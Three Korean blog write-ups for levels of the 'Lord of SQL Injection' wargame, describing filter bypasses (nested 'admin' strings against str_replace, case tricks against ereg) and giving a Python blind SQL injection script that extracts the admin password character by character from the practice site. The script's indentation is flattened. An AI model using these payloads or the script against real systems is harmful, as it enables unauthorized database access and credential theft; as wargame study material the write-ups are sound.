#About


[그림 1] - 문제 화면




#Solution


위 문제는 str_replace로 admin을 널 값으로 치환하며 데이터베이스에 쿼리를 날려 id 필드에 admin을 뽑아내면 문제가 해결된다


문제 해결 방법은 str_replace 함수의 취약점을 이용하는 것이며 그 예시는 아래와 같다


adadminminadmin


[그림 2] - 쿼리 1



'Wargame' 카테고리의 다른 글

[Lord of SQL Injection] Golem  (0) 2017.10.30
[Lord of SQL Injection] Skeleton  (0) 2017.10.30
[Lord of SQL Injection] Troll  (0) 2017.10.30
[Lord of SQL Injection] Orge  (0) 2017.10.29
[Lord of SQL Injection] Darkelf  (0) 2017.10.27

#About


[그림 1] - 문제 화면




#Solution


위 문제는 preg_match 함수를 통한 싱글 쿼터와, ereg 함수를 통한 admin을 필터링 하고 있으며 


쿼리를 날려 id 필드에서 admin 을 뽑아내기만하면 문제가 해결 된다


위 문제는 "대소문자를 구별하는 ereg 함수의 취약점"을 이용한 것으로 아래와 같이 간단하게 문제를 해결할 수 있다


[그림 2] - 쿼리 1



[그림 3] - 쿼리 2



'Wargame' 카테고리의 다른 글

[Lord of SQL Injection] Skeleton  (0) 2017.10.30
[Lord of SQL Injection] Vampire  (0) 2017.10.30
[Lord of SQL Injection] Orge  (0) 2017.10.29
[Lord of SQL Injection] Darkelf  (0) 2017.10.27
[Lord of SQL Injection] Wolfman  (0) 2017.10.27

#About


[그림 1] - 문제 화면




#Solution


위 문제는 이전  Darkelf(http://croas.tistory.com/45)문제와 동일하게 연산자 orand 를 필터링 하고 있다


이전 문제와 다른 점이라면 DB에 저장되어있는 admin에 해당하는 pw 값을 정확히 알아내는 것이 목표이며


또한 쿼리의 결과에 따라 서버에서 서로 다른 반응을 보이는 Blind SQL Injection 문제이다


[그림 2] - 쿼리 1 ( 패스워드 길이 확인 )



[그림 3] - 쿼리 2



[그림 4] - 쿼리 3



[그림 5] - 쿼리 4



[그림 6] - 쿼리 5



[그림 7] - 쿼리 6



[그림 8] - 쿼리 7



[그림 9] - 쿼리 8



[그림 10] - 쿼리 9



[그림 11] - 문제 해결





#Blind SQL Injection Python Code


# -*- coding:utf-8 -*-

'''
Creator = Loddy
'''

import urllib2

query_ok = "<h2>Hello admin"
key="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXZY"

print "[*] Start Search pw Length "

for len in range(1,100):
url = 'http://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=%27||length(pw)='+str(len)+'%23'
request = urllib2.Request(url, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36'})
request.add_header("COOKIE", "PHPSESSID=9g5q9em05r8ke6d779qkg6ipm2")
read = urllib2.urlopen(request).read()
if read.find(query_ok) != -1:
print "\t%s = Correct"%(len)
length = len
break
else :
print "\t%s = Incorrect"%(len)

print "\n",
print "[*] Start Search pw Value"

def find_pw(test,pw):
url2 = "http://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=%27||substr(pw," + str(pw) + ",1)='{}'%23".format(str(key[test]))
request = urllib2.Request(url2, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36'})
request.add_header("COOKIE", "PHPSESSID=c45u9ekpnrmqctmqbocdsuead3")
read = urllib2.urlopen(request).read()
return read

for pw in range(1,length+1):
for test in range(0,63):
read = find_pw(test,pw)
if read.find(query_ok) != -1:
print "\t(pw,%d,1) = {}".format(key[test]) %pw
break


[그림 12] - 코드 결과

'Wargame' 카테고리의 다른 글

[Lord of SQL Injection] Vampire  (0) 2017.10.30
[Lord of SQL Injection] Troll  (0) 2017.10.30
[Lord of SQL Injection] Darkelf  (0) 2017.10.27
[Lord of SQL Injection] Wolfman  (0) 2017.10.27
[Lord of SQL Injection] Orc  (0) 2017.10.27

+ Recent posts